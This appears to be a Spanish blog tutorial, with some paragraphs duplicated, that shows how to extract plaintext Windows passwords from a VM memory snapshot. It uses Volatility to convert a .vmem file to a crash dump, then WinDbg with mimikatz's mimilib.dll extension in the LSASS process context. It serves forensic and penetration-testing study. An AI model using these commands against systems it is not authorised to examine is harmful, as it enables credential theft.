Obtención de contraseñas en claro mediante volcados de memoria (dmp) con WinDbg y la extensión de mimikatz
Como ya sabéis, con mimikatz podemos obtener los hashes/contraseñas accediendo directamente al proceso o a un minidump de LSASS. Sin embargo, los contenidos de la memoria de LSASS están también "disponibles" a través de otras fuentes:
- copias de memoria de máquinas virtuales (archivos .vmem, etc.)
- archivos de hibernación (archivos hiberfil.sys)
- archivos de volcado de memoria crashdump (.dmp)
...
Hasta ahora mimikatz no podía tratar directamente estas fuentes de datos porque es relativamente complejo (aunque posible) crear un traductor de direcciones virtuales a físicas para todos los modos de direccionamiento (especialmente con las características de Microsoft) y porque el administrador de memoria de Windows no puede garantizar el mapeo de memoria virtual-física durante un tiempo T.
Por eso "Gentil Kiwi" ha creado una extensión para la herramienta más adecuada para la lectura de volcados de memoria (el formato "crashdump") y la manipulación de los símbolos: WinDBG!.
Veamos un ejemplo del uso de esta extensión mediante el análisis y la extracción de un fichero .vmem de una máquina virtual Win7 de VMWare, es decir, el fichero que contiene un backup de la paginación de memoria y que se genera automáticamente al pausar y guardar el estado de una VM.
Empezamos analizando el volcado mediante Volatility y visualizando nuestro objetivo lsass.exe (Local security authentication server):
Lo primero que tenemos que hacer es convertir el fichero .vmem a formato .dmp, el estándar diseñado por Microsoft para depuración. En nuestro caso lo haremos también mediante Volatility:
Ahora que tenemos el fichero .dmp lo abrimos con WinDbg (control + D):
A continuación simplemente cargamos la librería mimilib.dll:
Después hay que situarse en el contexto del proceso LSASS:
Y finalmente ejecutar el comando !mimikatz:
Fuente: WinDbg et l’extension de mimikatz
- copias de memoria de máquinas virtuales (archivos .vmem, etc.)
- archivos de hibernación (archivos hiberfil.sys)
- archivos de volcado de memoria crashdump (.dmp)
...
Hasta ahora mimikatz no podía tratar directamente estas fuentes de datos porque es relativamente complejo (aunque posible) crear un traductor de direcciones virtuales a físicas para todos los modos de direccionamiento (especialmente con las características de Microsoft) y porque el administrador de memoria de Windows no puede garantizar el mapeo de memoria virtual-física durante un tiempo T.
Por eso "Gentil Kiwi" ha creado una extensión para la herramienta más adecuada para la lectura de volcados de memoria (el formato "crashdump") y la manipulación de los símbolos: WinDBG!.
Veamos un ejemplo del uso de esta extensión mediante el análisis y la extracción de un fichero .vmem de una máquina virtual Win7 de VMWare, es decir, el fichero que contiene un backup de la paginación de memoria y que se genera automáticamente al pausar y guardar el estado de una VM.
Empezamos analizando el volcado mediante Volatility y visualizando nuestro objetivo lsass.exe (Local security authentication server):
D:\Hacking>volatility-2.3.1.standalone.exe -f "d:\Virtual Machines\windows7\IE8- Win7-65e39c4c.vmem" --profile=Win7SP0x86 pslist
Volatility Foundation Volatility Framework 2.3.1
Offset(V) Name PID PPID Thds Hnds Sess Wow64 Star
t Exit
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------
0x841388a8 System 4 0 92 471 ------ 0 2013-11-26 11:05:00 UTC+0000
0x8529e930 smss.exe 268 4 5 30 ------ 0 2013-11-26 11:05:00 UTC+0000
0x85a2ad40 csrss.exe 368 348 9 551 0 0 2013-11-26 11:05:08 UTC+0000
0x85d28d40 wininit.exe 420 348 7 90 0 0 2013-11-26 11:05:11 UTC+0000
0x85d13d40 csrss.exe 428 412 10 199 1 0 2013-11-26 11:05:11 UTC+0000
0x85d36d40 winlogon.exe 476 412 6 122 1 0 2013-11-26 11:05:11 UTC+0000
0x85d62820 services.exe 520 420 24 253 0 0 2013-11-26 11:05:11 UTC+0000
0x85d57ad0 lsass.exe 536 420 9 544 0 0 2013-11-26 11:05:11 UTC+0000
0x8524d808 lsm.exe 544 420 11 155 0 0 2013-11-26 11:05:11 UTC+0000
0x85d577e0 svchost.exe 636 520 17 375 0 0 2013-11-26 11:05:12 UTC+0000
...
Lo primero que tenemos que hacer es convertir el fichero .vmem a formato .dmp, el estándar diseñado por Microsoft para depuración. En nuestro caso lo haremos también mediante Volatility:
D:\Hacking>volatility-2.3.1.standalone.exe -f "d:\Virtual Machines\windows7\IE8- Win7-65e39c4c.vmem" --profile=Win7SP0x86 raw2dmp -O mem.dmp
Volatility Foundation Volatility Framework 2.3.1
Writing data (5.00 MB chunks): |................................................................................................................................
..............................................................................|
Ahora que tenemos el fichero .dmp lo abrimos con WinDbg (control + D):
A continuación simplemente cargamos la librería mimilib.dll:
16.0: kd> .load d:\hacking\mimikatz_trunk\x64\mimilib.dll
.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 24 2013 21:22:48)
.## ^ ##. Windows build 7601
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz
'#####' WinDBG extension ! * * */
===================================
# * Kernel mode * #
===================================
# Search for LSASS process
0: kd> !process 0 0 lsass.exe
# Then switch to its context
0: kd> .process /r /p <EPROCESS address>
# And finally :
0: kd> !mimikatz
===================================
# * User mode * #
===================================
0:000> !mimikatz
===================================
16.0: kd>
Después hay que situarse en el contexto del proceso LSASS:
16.0: kd> !process 0 0 lsass.exe
PROCESS 85d57ad0 SessionId: 0 Cid: 0218 Peb: 7ffd3000 ParentCid: 01a4
DirBase: 3eca00e0 ObjectTable: 882e2288 HandleCount: 544.
Image: lsass.exe
16.0: kd> .process /r /p 85d57ad0
Implicit process is now 85d57ad0
Loading User Symbols
..........................................................
Y finalmente ejecutar el comando !mimikatz:
Fuente: WinDbg et l’extension de mimikatz
Comentarios
Publicar un comentario